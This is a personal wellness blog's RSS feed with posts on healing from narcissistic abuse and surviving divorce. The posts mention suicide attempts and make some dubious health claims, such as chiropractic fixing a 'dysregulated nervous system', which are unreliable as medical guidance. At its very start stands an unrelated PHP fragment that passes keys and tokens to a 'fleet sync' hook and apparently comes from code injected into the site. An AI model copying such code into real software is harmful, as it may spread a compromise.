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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Trauma Recovery Archives - Blissfully Healing https://blissfullyhealing.com/category/trauma-recovery/ In search of life, meaning, and balance Fri, 11 Mar 2022 16:27:02 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://blissfullyhealing.com/wp-content/uploads/2022/01/cropped-blissfully-healing-pinterest-profile-1-32x32.jpg Trauma Recovery Archives - Blissfully Healing https://blissfullyhealing.com/category/trauma-recovery/ 32 32 139782009 10 Things That You Will NEED When Recovering From Narcissistic Abuse https://blissfullyhealing.com/10-things-you-will-need-when-recovering-from-narcissistic-abuse/ https://blissfullyhealing.com/10-things-you-will-need-when-recovering-from-narcissistic-abuse/#respond Fri, 11 Mar 2022 14:59:11 +0000 https://blissfullyhealing.com/?p=947 Written September 2018 I feel distraught.  It has been about 7 months since I left Kenya (a 4-month visit) and the drama that was my ex-husband during that visit, which led me to seek divorce. Ever since I came back …

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]]> Written September 2018

I feel distraught. 

It has been about 7 months since I left Kenya (a 4-month visit) and the drama that was my ex-husband during that visit, which led me to seek divorce. Ever since I came back to San Diego, California. I have done an incredible job hiding, running, and keeping a distance from anything that is remotely related to my toxic marriage, and or/ex-husband. I’ve been running away from facing it because it is just too painful to face. Besides, I do a wonderful job masking my pains until the trauma blows up in my face sometime later.

I have painfully learned from my childhood traumas that trauma does not go away. It waits patiently active until you deal with it. Why patiently active you may wonder? because as it waits for you to acknowledge it and do the work necessary to heal from it, it manifests itself in different parts of your mind and body. Making sure that sooner or later you will have to face the consequences of the trauma you experienced whether you like it or not.

So I knew that I needed to face the realities of my ex-husband and the agonies he enticed in me for 2 years. I just didn’t have the might, courage, or will to face any of it until now.

By Elia Pellegrini on Unsplash

******

I have been focusing on acceptance and dealing with things as they arise. My ex-husband and his narcissistic abuse continuously keep creeping into my radar through conversations, readings, and his efforts to reconnect. Therefore, I have decided it’s time to accept that the abuse happened and allow myself to open up to the pain, re-experience them and find healing. 

To say the truth, I am afraid of going down that memory lane, although I acknowledge that the only way I can heal from it all is by revisiting it, understanding it, accepting it, and finally forgiving. At least this is the game plan I am offering myself.

Below are the tools I am using to help me heal from narcissistic abuse:

1.Therapy:

This is an important aspect for me. 

During my marriage, I was struggling with depression, anxiety, PTSD and a number of serious health issues. But I never connected them to my ex-husband. The stress he caused me was significant, but I always assumed that is what all relationships were like. I have to say I was extremely naive when it came to relationships.

As my physical and mental health continued to worsen, my doctor recommended that I see a therapist, which I did for a session and never went back. She then referred me to a psychiatrist who prescribed a number of anti-depressants, which I refused to take. 

When my marriage was over, I realized just how much I had gone through, and after a couple of suicide attempts later, I realized what a terrible state I was in. I was more than happy to get a counselor and above that, I also decided to revisit emdr(eye movement desensitization and reconstruction)therapy. So now I have 2 therapists. I see my emdr specialist once a week and my therapy counselor once every 2 weeks. It has made a world of a difference going through deep depths of depression, suicidal thoughts, and despair with professionals who are trained to help me maneuver out of those depths.

2. Chiropractor who specializes on spinal subluxation. 

  • First of all … what is spinal subluxation?
  • Spinal subluxation is when one or more vertebrae are misaligned therefore affecting the function of the nervous system

Not all chiropractors are made equal. I have learned this with experience.

By the time I walked out of my narcissistic relationship, my nervous system was completely shot, completely dysregulated. I couldn’t handle anything AT ALL. I have had this issue before, but never as bad as it was by the end of my marriage. 

What does my dysregulated nervous system look like? 

Mine looked like this:

  1. Cannot deal with negative emotions through movies, shows, books or people. I would literally start shaking and if the negative affect is big enough I would have a full blown panic attack, pass out or have a seizure.

  • Perfect example: when my friends and I went to watch the black panther, I had been back in the U.S for about 3 weeks. When the movie started, my stomach was a gentle knot, 20minutes in, I was shaking gently with a massive knot in my stomach by the time we got to the climax of the movie I was shaking uncontrollably, teeth chattering, seat shaking, the whole shabang…so I left the theater…  I got outside, leaned on a wall and was panting as though I had just finished a marathon. A theatre custodian passed by and I asked how much of the movie was left and he said about 40 minutes. I then stayed outside for 20 of those, then went back in for the last 20 minutes.

I have been seeing my chiropractor for 5 months now, four times a week. I am not completely healed, but I am making a marvelous recovery.

3. A constant

You need a person, thing, hobby, or entity that is positive, kind, and gentle to you that you can think about or go to throughout your healing process.

My constant is the ocean. 

I have a Sunday spot on a cliff overlooking the ocean, where I go early every Sunday morning with a thermos of tea and sometimes breakfast. I sit there for hours, without realizing it, breathe, cry, and get lost in the gentility of the sea. In that space, I just am. I accept what the cliff I’m on, the ocean, the dolphins, sea otters and birds below have to offer, and I present myself as I am, broken, hurt, extremely vulnerable, and willing to find healing.  At this spot, there is no judgment between the ocean and I, I am and it is.

4. A Good Support System

You need a good group or a solid person (could be your constant) who is there for you through this process.

I wonderfully have my mother, who I am grateful for beyond belief, a solid group of friends who I talk to occasionally, and my therapists and chiropractor.

This is a group of people that is cognizant of my healing journey and are actively putting in the effort for my recovery. They also appreciate my efforts and are encouraging, supportive, and simply there. 

5. Guard your mornings and nights

It is absolutely important that you protect your last hour of the day and your first hour of the day. These two hours set the tone for the rest of the day and night. If you get into the habit of exiting the day and entering the day the right way, you will find that you no longer have to barely survive through the days, you will learn to manage, then eventually thrive through the days. 

The hour before sleep:

Turn off electronics and put away distractions. Take this time to meditate, pray, journal, read something inspirational or something you enjoy (I would recommend a physical book, not a digital device), breathe, yoga, listen to soft music, paint, color, etc etc. 

The hour after you wake up:

Start with breathing exercises, (4,7,8 method). Breath 4, hold 7, and breathe out 8. Do as many as you wish. Then onto positive visualizations ( I like to keep a beautiful picture of nature right in from of my bed. Something that makes me simply want to smile. Then onto about 8oz of water before you get out of bed. Take it extremely easy within that hour, fill it with prayer, breathing exercises, meditation, yoga, tai chi, journaling, etc etc.

6. Read, read, read

Understand the trauma you just stepped out of, this will also help you understand yourself in this stage and hopefully help you put the pieces of your life back together.

Recommended readings: Psychopath free, in sheep’s clothing

7. Exercise and a healthy diet

Exercise is fantastic for generating the right hormones and neurotransmitters in your brain. It is also fantastic for warding off depression and if you already have depression like me, it is fantastic for maintaining its effects and even recovering from it.

My emphasis on a healthy diet is more geared towards the happy gut. 90% of the serotonin in our bodies and minds is made in the gut (which for some reason gets battered during a narcissistic relationship), therefore eating right to make sure that the neurotransmitter you need most for joy and to avoid depression is well maintained. 

Recommendations: a good probiotic that works for you, l-glutamine powder to help the gut repair if any damage was caused, an elimination diet if food is a big problem for you as it is for me.

8. Journal

Write! Write! Write! 

The writing process is one of the best tools of self-expression and relief that you have during and after abuse. So write it all out. Write even the things you don’t think are worth writing, you will later find that those were the things you needed to write the most. 

9. Meditation 

Do as much meditation as you possibly can, even if that is just a minute in the morning and a minute before you sleep. Find a quiet peaceful place where you will not be disturbed, close your eyes and observe. Whether you are observing your mind or your breath, this is a powerful way to rewire your brain, recover from trauma and find internal peace. 

Recommended programs: Calm, insight timer

10. A whole lot of self care

This is where you get yourself back. 

Part of the effects of narcissistic abuse is the erosion of identity. My ex-husband did such an incredible job on me, that I no longer knew who I was. 

Self-care and self-rediscovery through taking care of your health (which is most likely going to have challenges it didn’t have before the relationship), doing things you love, reconnecting with people you disconnected from etc etc. 

The secret here is to do more of what you love and give yourself the time to heal. 

Additional Resources: Online Support Groups

Support groups can be a wonderful way for you to connect with people who have recently started their journey, as well as those who have been on their journey for a while. You will get to be with a group of people who understand what you are going through and are able to give you the emotional support you need during this stage of your healing journey.

Toxic Relationship Support Group

Toxic Relationship Support Group

Healing the Effects of Toxic Relationships

$120.00
Shop now

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]]> https://blissfullyhealing.com/10-things-you-will-need-when-recovering-from-narcissistic-abuse/feed/ 0 947 Part 2: 6 more painful things a narcissists will do to you https://blissfullyhealing.com/part-2-6-more-things-a-narcissists-will-do-to-you/ Thu, 08 Mar 2018 00:23:07 +0000 https://blissfullyhealing.com/?p=428 Even though narcissism exists on a spectrum, majority of people experiencing this type of abuse get a taste of almost everything  narcissists are known for. The most dangerous thing about a narcissist is that they begin by gaining love, trust …

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]]> Even though narcissism exists on a spectrum, majority of people experiencing this type of abuse get a taste of almost everything  narcissists are known for. The most dangerous thing about a narcissist is that they begin by gaining love, trust and respect before unleashing their negative narcissistic traits. In most cases, as they are gaining trust in love, respect, and care, they slowly begin breaking down the trust and respect you have in others, and this establishes a false sense of safety in  them(the narcissist).

Photo by ANMOL on Unsplash

 

Personal experience:

It took me forever to finally understand that I was actually in a narcissistic abusive relationship. As a matter of fact, I did not mentally or verbally acknowledge that I had been in an abusive relationship until after I left the relationship. I just knew something was terribly wrong, I knew that I was afraid and he caused me a lot of anxiety. The thing I kept telling myself was “it’s not supposed to be this hard.” I questioned why every conversation had to be a fight, and not that I was fighting, it’s that I was defending myself over nothing I had done. Or that I was defending myself because I brought up a concern that needed to be faced. Below are 6 more painful things a narcissist will do to you, as a continuation of this article.

 

1.Isolate:

This can range from actual isolation, such as locking you in the house  in a way that you cannot get out, or emotionally blackmailing you and the people around you. A narcissist will vilify you to others and vilify others to you. By the end of the game, s/he (the narcissist) is the only good one standing, and everyone else is either out to get you or has said/done something to lose your trust.

The losing of trust is usually through the narcissists’ perspective, so either the narcissist heard ‘so and so’ say, or saw ‘so and so’ do, or the narcissist thinks that the way ‘so and so’ interacted with you at the gathering was stand-offish, rude, disrespectful etc etc. The game becomes that the narcissist is looking our for you because others are not. So even in situations where you are certain that you did not feel disrespected, or offended, the narcissist with usually try to convince you that what they saw was the case. Occasionally with convincing tales that actually did not happen. Therefore you either willingly cut ties or are pressured to do so.

For this part to  work as well as it does, narcissists spend a good deal of time building trust. Therefore when they come and say that ‘so and so’ is bad, ‘so and so’ said this and that, you believe them without a doubt. 

The mistake that most of us make is trusting without verifying the information, and in the situation where you do confront your relative, friend etc, it becomes an internal and occasionally external raging war over believing them or your significant other.

 

2.Character Assassination:

To others:By the end of my relationship, I was the evil witch.

I was not surprised about this because I have witnessed divorced before and seen just how deep people can go to vilify and humiliate the other. The surprising part was finding out that the death of my character happened long before the end of our relationship. As a matter of fact, the more I spoke out about what was happening to me, the more comfortable my family became in sharing his behavior and words, to my surprise, the murder of my character began within the first month of our relationship.

Narcissists are good at spreading lies and malicious gossip about you, to your and his/her family and friends, and this can also be used to manipulate you.

 

Tell others you are crazy: This is a standard gaslight strategy to gain favor over you in people’s eyes. If you are crazy, people will not believe you when you start telling them about the things that your abuser has been doing. For instance, by the end of our relationship, my ex-husband had been telling everyone that I had schizophrenia and bipolar and was in the middle of an episode, and that was why I was speaking out and seeking a divorce.

 

To yourself: It comes down to constant complaints by the narcissist about things such as; you lacking respect and love towards them, you being influenced too much by the friends and family you need to cut out of your life, you not being a good/kind/sweet/loving/supportive spouse, partner, friend, child etc. At the end of the day, they are the best thing that ever happened to you and you are ruining it all by not listening, acting a certain way or being a certain way.

Character assassination to yourself is the most effective and most dangerous tool a narcissist can use against you . This is because it makes you doubt yourself, shakes your sense of personal understanding and cuts down your foundation of self esteem.

 

3.Compare you to others:

You are simply not good enough. Although this concept is always hidden behind the love bombing they do to cover up their steps and manipulate conversations.

This comes up a lot in conversations – although you should understand that narcissists do not converse, they compete. So a conversation is a verbal competition to see who wins, usually the narcissist.

 

4.Emotional blackmail:

This is a dangerous tool that narcissists use.

1.It involves the expression of anger, intimidation and warning, then blame. For example, s/he will yell, push, shove,  then tell you it’s your fault they did so.

2.This form of blackmail usually leaves the abusee apologizing for what they have not done, or feeling responsible for something they are not responsible for. The abusee will feel “FOG”, fear, obligation and guilt.

3.Attack you with what you love, to make you feel inferior or uncertain about your choices and loved ones.

 

5.Lie:

Narcissists are exceptional liars. They will lie to you even about things that are as clear as day.

1.They depend on lies to be able to cover up their abusive mannerisms to you and others and make you feel insane for thinking you are going through abuse.

2.They use blatant  lies to keep you off balance. If they lie about things that are apparent, you won’t really know when they are telling the truth or when they are lying. You will catch yourself questioning your own sanity. 

3.Their words do not match their actions.

4.They spread gossip and rumors about others to you, and be certain that they are spreading gossip and rumors about you to others. The gossip and rumors can be to and about your loved ones, his/her loved ones and strangers as well.

 

6.Stalk you:

Narcissists like being in control, therefore if they can, they will want to know where you are, who with, and what you are doing at all times. Although they will not stop there, they will want to know the conversations you are having and why, who you were talking to and why? Where you went/are going, and why, simply put, every breath you take will need an explanation and an approval from them.

 

With this need to constantly keep tabs on you, they might:

  1. Install an app on your phone to keep track on you.
  2. Bug your phone, laptop, tablet and any other technology you might have.
  3. Insist you keep them on call everywhere you go and with everyone you meet.
  4. Hack or have someone else hack into your means of communication, emails, text messages etc.
  5. Want to know where you are at all times even when you are in the same house.

 

 

Related Post:

Part 1: 5 painful things a narcissist will do to you

 

 

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]]> 428 Part 1: 5 painful things a Narcissist will do to you https://blissfullyhealing.com/part-1-5-painful-things-a-narcissist-will-do-to-you/ Wed, 07 Mar 2018 19:33:45 +0000 https://blissfullyhealing.com/?p=420 It is important to acknowledge that narcissistic abuse is different for each person undergoing the abuse. Each narcissist applies various tools at varying degrees to get what they want out of their abusee. Narcissistic abuse exists on a spectrum. Narcissists …

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]]> It is important to acknowledge that narcissistic abuse is different for each person undergoing the abuse. Each narcissist applies various tools at varying degrees to get what they want out of their abusee. Narcissistic abuse exists on a spectrum. Narcissists utilize whatever tools they see fit for the situation they wish to manipulate. In addition, there is the concern that the narcissist her/himself does not acknowledge that they are abusive in their behavior, and bringing up the concern may only lead to blame, belittling, and possibly aggression towards you.

Photo by Dmitry Ratushny on Unsplash

 

Personal Experience:

I was in denial.

I refused to believe that I was in a narcissistic relationship even though all the signs were there. Even then, I googled narcissistic abuse multiple times within the duration of our marriage. The first time was about 6 months into the marriage, I agreed with a number of the points and disregarded them. I unconsciously googled narcissistic tendencies again and again as our relationship continued, and each time I agreed with more and more points on those checklists, but every time, I swept everything under the rug. I would check off each point as existent in my relationship, yet, I still managed to shake it off and make excuses for him and myself.  

 

1.Manipulate:

Manipulation is the name of the narcissistic game. 

Gaslighting along with a number of points in this article are all types of manipulation. Although, noticing that someone you love and care about is breaking you down for their own gain is not very easy to accept or acknowledge.

 

2.Gaslight:

This is when the narcissist or abuser slowly manipulates you into questioning your reality by their actions and the things they say in order to gain power and control over you.

1.They will project their behaviors to you, and you will feel like you need to defend yourself.

2.They will attack the things near and dear to you, only the attacks will be in a manipulated manner, by making you lose trust, respect, and ties with people/things. In addition to tearing down your sense of self-worth

3.His/her words do not match their actions. This is meant to create a sense of confusion in what you trust.

 

3.Blame:

Everything is your fault or someone else’s fault. Everything from global warming to mosquito bites. A narcissist will never accept blame, and bringing it up only leads to one thing. You being the evil of the two. Usually confronted with anger, aggression and/or an overlay of guilt.

It will always be, “its because they are jealous”, “it’s because your refused to do what I asked”, “it’s because you will not listen to me”, “Its because I know it will upset you”, “it’s because I know you will get angry”, “it’s because of you”, “how could you think of me like that”, “I am a good person, but you will turn me into a very evil person and it will be all your fault” etc etc.

In the circumstance that the narcissist is also addicted to something, this will also somehow become your fault.

 

4.Aggression & violence:

Most people within an abusive relationship assume that aggression and violence only applies when someone makes physical contact. Yes, that is part of aggression and violence, but a lot more is included within it than a smack. Pulling, pushing, blocking your movement, shoving, dragging, pulling hair or clothing, grabbing, throwing things etc.

Most narcissists use violence in their ploy to maintain control.  These can be expressed as threats that are can either be attached to violence acts or not.

 

5.Control:

1.Narcissists like to make sure that they are in control of every situation and relationship you are in.  This means that they will lie to and manipulate you and the people around you to gain a sense of control and power over you.

 

2.They will either attack you, your actions, and your close ones and disapprove of them with authority. He/she will convince/threaten you to lose and cut relationships, hobbies, work etc.

 

3.Eventually you will need to explain,seek approval/permission for anything and everything, which will make you feel like you need to ask for permission for living life itself, possibly even breathing.

 

Related articles:

Part 2: 6 more painful things a narcissist will do to you

 

 

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]]> 420 5 emotions you will experience during your divorce process https://blissfullyhealing.com/5-emotions-you-will-experience-during-your-divorce-process/ Tue, 16 Jan 2018 13:02:07 +0000 https://blissfullyhealing.com/?p=158 Divorce is the breaking of something extremely sacred, at least as far as I am concerned. Divorce is the breaking of everything that you have held near and dear to you for however long your marriage has been. Divorce, is …

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]]> Divorce is the breaking of something extremely sacred, at least as far as I am concerned.

Divorce is the breaking of everything that you have held near and dear to you for however long your marriage has been. Divorce, is the breaking of the hopes and dreams that you had established when you were  happily getting into the bond of marital bliss. Divorce is the finalized action of the realization of pain and suffering that you have been living for some time.

Yes, divorce is painful, but nothing compares to loving something that hurts you. I think that by the time a couple gets to the point of divorce, all the hopes and dreams of a life and future together are broken long before. Those hopes and dreams are hanging by the slightest thread possible, divorce is simply the official cutting of that final, very thin thread. This lets both parties part in contempt, hate, relief, grief and most of all pain. No one ever wants to lose something near and dear to them, but when what you want is bad for you, sometimes hard decisions must be made, no matter how difficult those decisions are.

 

Photo by Morgan Basham on Unsplash

 

Personal experience:

My divorce journey has been a pain. I suppose I did not think that it would be anything different when I got started. I knew that it would be difficult because of how much I loved my ex-husband, or perhaps I can say that I knew it would be difficult because of how attached I was to my ex-husband and how dependent I had become to the cycle of pain and overburdened expressions of love. So when I finally decided to leave, I was extremely conflicted and by all means, faced all kinds of emotions that I had to sort through and occasionally succumb to and simply experience whether I liked it or not.

 

Emotions I experienced:

1.Doubt

I doubted myself more than I have ever doubted myself in my life. I asked myself repeatedly if I was certain that this is what I wanted. I was not sure of whether the reasons I wanted to walk away for were valid enough.

 

How to fix it:  Talk it out

Find someone, or people you can confide in by telling them the stories of what you have been through and listen to their responses. I cannot say that we are always right or wrong, but sometimes we are right even when we do not think that we are. Talk it out and think through the things that you have been through, and consider with good reason, malice, hate, fear, and anger aside.

Sit and truly consider whether the reasons you are leaving are valid. I suppose the question I kept asking myself during our month apart was, is your life better now that you are separated? And my answer was always YES!!!. To say the least, there was less fear, anxiety, tension and worry in my thoughts and body, I was much calmer, freer and at ease.

2.Fear

I am not certain whether I feared the process of divorce more, or the fact that I was walking away. All I knew was that the fear I was experiencing was nothing compared to the fear I lived on a daily basis while I was married.

 

How to fix it: Weigh your fear.

Why are you afraid? Truly consider the reasons why you are afraid and try to understand them. Is it because you are fearful of the process and the pain that it will cause? Is it because you depend on your spouse? Is it because you do not want to break you family’s hearts or your children’s hearts? Why are you afraid?

Now consider this, what is worth more? The fear that you have or the freedom that you are seeking from the situation you are in.

 

3.Guilt

I kept feeling terrible for standing up for myself. I kept saying, perhaps I should just stay, the insults, threats, manhandling, manipulations and controlling behavior will probably go away now that I have decided to leave and he saw how serious I was. I kept telling myself that I was the reason we were both in all this pain, perhaps I should just walk back into the marriage and take whatever was to come.  

 

How to fix it:

1.Understand that feeling and knowing are two different things. You may feel guilty for doing something that is right. You may also feel guilty for something that is not your fault. I knew that the guilt I was feeling was not confounded and neither did it compare to the knowledge of the things I have gone through.

2.Be firm in your decision. You are the only one who understands what you have been through, therefore, even if your family, friends or your spouse guilt you or you guilt yourself. Be firm in the decision that you are making.

4.Shame

Society never makes it easy to walk away from a marriage, whether abusive or not.

This was not a constant emotions for me because it seemed to be overshadowed by my will and determination to leave. I simply threw shame over my shoulder knowing that there isn’t anything that anyone could say that could hurt more than what my ex-husband said and did to me. Therefore I started to feel more ashamed at myself whenever I considered staying, more so than feeling shame for leaving.

 

How to fix it:

Why are you ashamed? This is an important question to ask yourself. Why are you ashamed and what makes you feel the shame?

 

5.Anger

My goodness!!! I was angry.

I was angry that I did not wake up to the abusive behavior earlier, and I was angry that I was afraid to stand up for myself. Above it all, I was angry at myself for all the emotions I was feeling. I was angry that I allowed myself to feel doubt, fear, guilt, shame and sadness. And me being me, I was also angry at myself for being angry. Beyond myself, I was angry that someone I loved could put me through so much pain and be un-remorseful to his behavior. Simply put I was angry.

 

How to fix it:

1.Exercise to let it out, release some steam and simply increase positive hormones in your brain and body.

2.Understand that it is OK to be angry, although it is not OK to be destructive with it.

  • There is no better way to let go of anger than learning to love yourself (read more about it here). Now more than ever, you need to shift your focus from the mistakes that you made and that your spouse made and turn it into learning who you are and simply accepting and loving whatever that is.  The shift from love to hate and marriage to divorce will change you, now more than ever, it is important for you to learn who you have become and simply learn to love you. I suppose, as you divorce your spouse, learn to marry yourself.

Related Posts:

Reasons we should stop talking about people’s divorces.

6 things you MUST do to survive the trauma of the divorce process.

 

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]]> 158 6 Reasons we should stop talking about people’s divorces https://blissfullyhealing.com/reasons-we-should-stop-talking-about-peoples-divorces/ Fri, 12 Jan 2018 14:40:48 +0000 https://blissfullyhealing.com/?p=118 Divorce. A word filled with taboo, misconceptions and best of all, mystery.  I must say that before I went through my own, hearing a couple was about to divorce or has divorced always broke my heart. I would always say …

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]]> Divorce.

A word filled with taboo, misconceptions and best of all, mystery.  I must say that before I went through my own, hearing a couple was about to divorce or has divorced always broke my heart. I would always say things like, why couldnt they work it out, but s/he’s so great, they are soo happy together, but they look so good together. Not until the unravelling of my own marriage, did I realize that all those may be true to the outside world, but what matters is the truth behind closed doors. What we see as bystanders and external observers may not and most of the time, is not the whole truth. There are truths that are hidden so far and deep, that even the closest of all bystanders will never be able to grasp or understand. So as bystanders, we need to understand that the things that we hear, and the perspectives that we become acquainted with in someone’s divorce may not be the actual truth or reason for the divorce and/or may not be the full truth. To be fair, if my friend is getting a divorce, I will most probably take her side, not out of bias, but because I will hear all she has to say and not a single defense from her ex-spouse.

 

Photo by Veeterzy on Unsplash

Personal experience:

I sat on the kitchen counter as my cousin recounted a story of our cousins’ divorce. Her version was much cruder than the version I had heard from various other people, but her statements towards it hurt me. Perhaps because I was closer to the cousin it happened to, but her disregard and her dismissal of the broken relationship almost made me feel like I needed to defend the now split couple. I stood there stunned because I had first hand information about this divorce, and her words struck a cord. I stood there thinking of the game telephone, I will say monkey and by the time the last person gets the word, my original has turned into drunkard. So why are we so keen on talking of people’s mishaps such as divorce and why should we stop?

1.Do not judge the book by the cover

What I mean by this in terms of divorce is, what you hear is all a cover story. We get to hear the accusations, the lies, the assumptions but most of the time, we never get to hear the full story. We do not understand that the main problem started 3 years ago, or how s/he is rude to the in-laws behind closed doors but kind in public, or how s/he is addicted to a substance but no one wants to talk about. We hear the things that are juicy, no one wants to hear the truth when the stuff going around on the “telephone” are so much juicier. So our spread of what we think is the truth may only be the spreading of lies or the spread of what a spouse knew would hurt the other.

2.Your words hurt more than the divorce itself

I think that sometimes people almost refrain from walking away from a painful relationship out of fear of what people will say. I don’t think that what people say should matter, but that does not make their words any less painful.  

 

3.There is always a back story we do not know about

I always believe that by the time news of a divorce gets to us, before the accusations and outrageous actions of the couple begin, there are deep rooted issues that are either acknowledged or ignored by one or both of the parties. So when we begin to talk about the superficial reasons we  think that the couple should stay together, definitely leave or how stupid we think they are, we should acknowledge that there is a huge iceberg underneath the water we know nothing about.

 

4.There are two sides to the story

It is important to acknowledge that if a friend and I were looking at the same mountain, but one of us is on the eastern side and another on the western side, we would both have separate points of view of that exact mountain. Then if I tell a hundred people about the mountain I saw, my opinion and version of that mountain would be very different from my friend’s. What I am trying to say is, spouses have differences, and perhaps different reasons of why they wish to walk away from their relationships. As bystanders and external observers, we need to respect both sides, treat both sides with dignity and simply be there if needed. It is not a lie, or an over exaggeration that divorce hurts, but sometimes what hurts more are the words that are spread  by our loved ones and the ones who wish us harm.

 

5.There is no innocent party in a divorce

Both sides have faults, mistakes, and definitely reasons why the other would wish to leave. So we should not put too much focus on how s/he hurt our daughter, friends, cousin, sister etc. We need to acknowledge that if we were on the other side, his/her friends and family would probably be saying, “how could s/he hurt our son, brother, cousin, etc”. The story that I tell will be very different from the story that my ex-spouse will tell his loved ones. Sometimes, its not that we are trying to hurt the other, its just that, this is what we see, this is how we feel. So before we start mouthing off, lets consider that there are always mistakes that we or our divorced loved ones made as well.

6.Divorce hurts, don’t make the wound deeper than it needs to be

Divorce hurts, A LOT. What a divorced couple should not have to face are the rumors, the hurtful words and hurtful actions of others as a result of their acceptance or decisions to seek the divorce. As external bystanders, we need to understand that what we think we know and what we think we are talking about may actually be the source of serious trauma for one or both sides of the divorce.

 

Related Posts:

5 emotions you will experience during your divorce process.

6 things you MUST do to survive the trauma of the divorce process.

 

 

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]]> 118 6 things you MUST do to survive the trauma of the divorce process https://blissfullyhealing.com/6-things-you-must-do-to-survive-the-trauma-of-the-divorce-process/ Wed, 27 Dec 2017 16:39:15 +0000 https://blissfullyhealing.com/?p=115 Why does this hurt so much? I suppose separation always hurts irregardless of the type of separation. Whether you are dropping a friend, parent or child to the airport or leaving your child at school for the first time, I …

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]]> Why does this hurt so much?

I suppose separation always hurts irregardless of the type of separation. Whether you are dropping a friend, parent or child to the airport or leaving your child at school for the first time, I believe separation hurts. We are a creation of connection, therefore I suppose the gap left, or rather “hole” left by the presence of this person creates some kind of discomfort and at times pain.

Although, I must say that the separation of divorce deserves its own category of separation. Whether you are leaving each other because one of you is the “bad guy” or that you both decided that divorce is for the best. The fact of the matter remains that this is a separation that will create a lot of hurt. Perhaps not to you and your spouse alone, but to your family and perhaps friends as well. So what are some ways you can survive the process of divorce? The emotional agony that comes with it,  perhaps from your spouse, family, friends, lawyers or the system. What can you do to make sure that you get out of it alive, perhaps without too much damage done to your self?

 

Photo by Ian Espinosa on Unsplash

  Disclosure: This post contains an affiliate link.

Personal experience:

For a good part of the separation part before I actually got my divorce, I went through days numb. Perhaps if I was a person with a vice or a habit, I would have probably engaged in it without recourse. I wanted not to have to think, hear, feel, or even see the circumstance of my then husband. I was in a lot of pain and I simply did not want to feel it and whenever a situation arose that forced me to face my reality, I got infuriated. The only thing I was able to do was protect myself, and the shield that seemed to come up was anger.

For the most part, anger is a protective emotion that comes up in place of hidden vulnerability. So I would simply get angry. Not frustrated or irritated, angry. This is very unlike me, I am the shake it off, laugh it off, talk it out and get over it type. During this period of time, I became the make a fist, tense your jaw, get silent and walk away, uncontrollably shaking, angry type.

I soon started neglecting my morning routine, (meditation, recitation of scripture, journaling, and breathing exercises) that keeps me sane and maintains my daily dose of personal development. I then started spending lots of time in bed and eventually engrossing myself in books after books. Not to say that reading is bad, but reading in the extent that I was, reading from about 7am to 3pm without eating or interacting with anyone, with a break for water or tea, reminded me that I needed to face my pains rather than bury them within. I know that I sidewall my emotions and function on a “happy” auto drive as a protective coping mechanism, but I also know that when my emotions decide to be heard, they will be in a very destructive manner.

 

What to do:

1.Let yourself feel the emotion.

I started allowing myself to feel the emotions that overcome me, but I usually did this practice with small circumstances, when the going got tough, I realized that I actually needed to be more mindful in letting myself feel the emotion.

You need to allow yourself to let the emotion run its course and do as you please to service that emotion. So if the emotion is pain, and you feel like crying, screaming, running etc. Do it. Let your mind and body process the emotion as they need to without your control over it. You simply need to be the observer.

2.Do something nice for yourself almost every day.

I mean this.

This made a big different in how I managed to accept what was happening and deal with the situation in the present. I cannot say that the hurt went away because I focused on myself a bit more. No, the hurt was and is still here. But giving myself reasons to smile made it so much easier to make it through the days.

So go watch a movie by yourself, take a walk, go to your favorite spot in town, take a drive in a scenic route, buy yourself ice-cream, buy yourself a flower, or bunches of flowers, take a bath, take yourself out, get dolled up and look nice, the list is endless. Just make sure that you do something small for yourself every day. You may think that you do not have time for it, but you do. Just do something small for yourself on a daily basis. One of my favorite things was serving myself food in a beautiful setting. Serve my food in china, put it on a beautiful tray, put in a nice movie or sit somewhere with a nice view and simply enjoy my time with myself.

 

3.Journal

It is so important to be vulnerable with yourself and truly let yourself be heard. It is not easy to tell people everything that happened, and in my case I did not want to say everything that happened and perhaps you do not want to tell anyone everything you are going through. Therefore it is important to have an outlet and that is where journaling comes in. Speak your truth and let it be heard. You are the only one hearing it and there is no judgement because you are the only one that will get to read it. On the plus, it will have been released and documented.

4.Find a balancing activity.

It is important for you to start doing an activity that balances your emotions and body. This can be meditation, yoga, tai-chi, breathing exercises or any other practice that will simply slow you down, slow down your thinking and put you in a place where you get to increase the activity of your frontal cortex and reduce the effects of anxiety, worry, fear, etc.

5.Actively engage in personal development exercises.

At a time when you feel like you are simply falling apart, it is important to find and establish an activity that you do every day that works on developing your character or some other type of personal improvement. For instance, I was actively engaged in mirror work for self-esteem and self-love purposes. In addition, I put my efforts into my blog and researching the prospects of an online store. I figured that since something that I truly cared about is raveling before my eyes, I might as well build something in its wake. So what are some of the things you have been wishing to improve on in your life? Pick one, and focus on it.

6.Exercise

I cannot stress the importance of this part. Exercise! exercise! exercise!

In a time of continuous emotional stress, it is important to establish strenuous physical activity to reduce stress and increase positive effects in your system. Exercise will increase dopamine and serotonin, which are both stress reducing hormones and “feel good” hormones. Do an activity that exerts the tension, frustration and hurt you feel. I usually kick-box or dance and do strength training and it does the job.

Related Posts:

5 emotions you will experience during your divorce process.

Reasons we should stop talking about people’s divorces.

 

 

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]]> 115 5 steps toward beauty self-esteem and self-approval https://blissfullyhealing.com/5-steps-toward-beauty-self-esteem-and-self-aaproval-beauty/ Tue, 26 Dec 2017 14:57:59 +0000 https://blissfullyhealing.com/?p=110  It  must be understood that self-esteem and self-approval is not a one day job, it is a long journey that requires patience and acknowledgement. It requires that you allow yourself time to grieve over your past hurts and accept them …

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]]>  It  must be understood that self-esteem and self-approval is not a one day job, it is a long journey that requires patience and acknowledgement. It requires that you allow yourself time to grieve over your past hurts and accept them as they are, forgive those who have hurt you, then begin to build something as a result of it. The steps I have given below are just the beginning of the journey. It is my belief that the first step towards dealing with any problem is acknowledging the problem. Below are steps to acknowledging the root cause of your emotions and sensation which lead to your beliefs and behaviors about yourself.

 

Photo by Guilherme Stecanella on Unsplash

 

Personal Experience: Beauty is in the eyes of the beholder: Self esteem and beauty

So, what steps can you take towards self-approval and self-esteem.

1.Pay attention to your self -talk about your features.

What do you say to yourself about your features when you walk past a mirror? or take a picture/selfie?. What do you say? Do you urge your friends or family to delete the picture because you do not like something in the way you look? Now take that as a opportunity to observe your insecurities and build from there. What is it about the captured moment of yourself that you did not like. Now write those down.

2.Pay attention to the sensations you get when someone comments on your features, or if you see someone’s features that you like, feel jealous or envious.

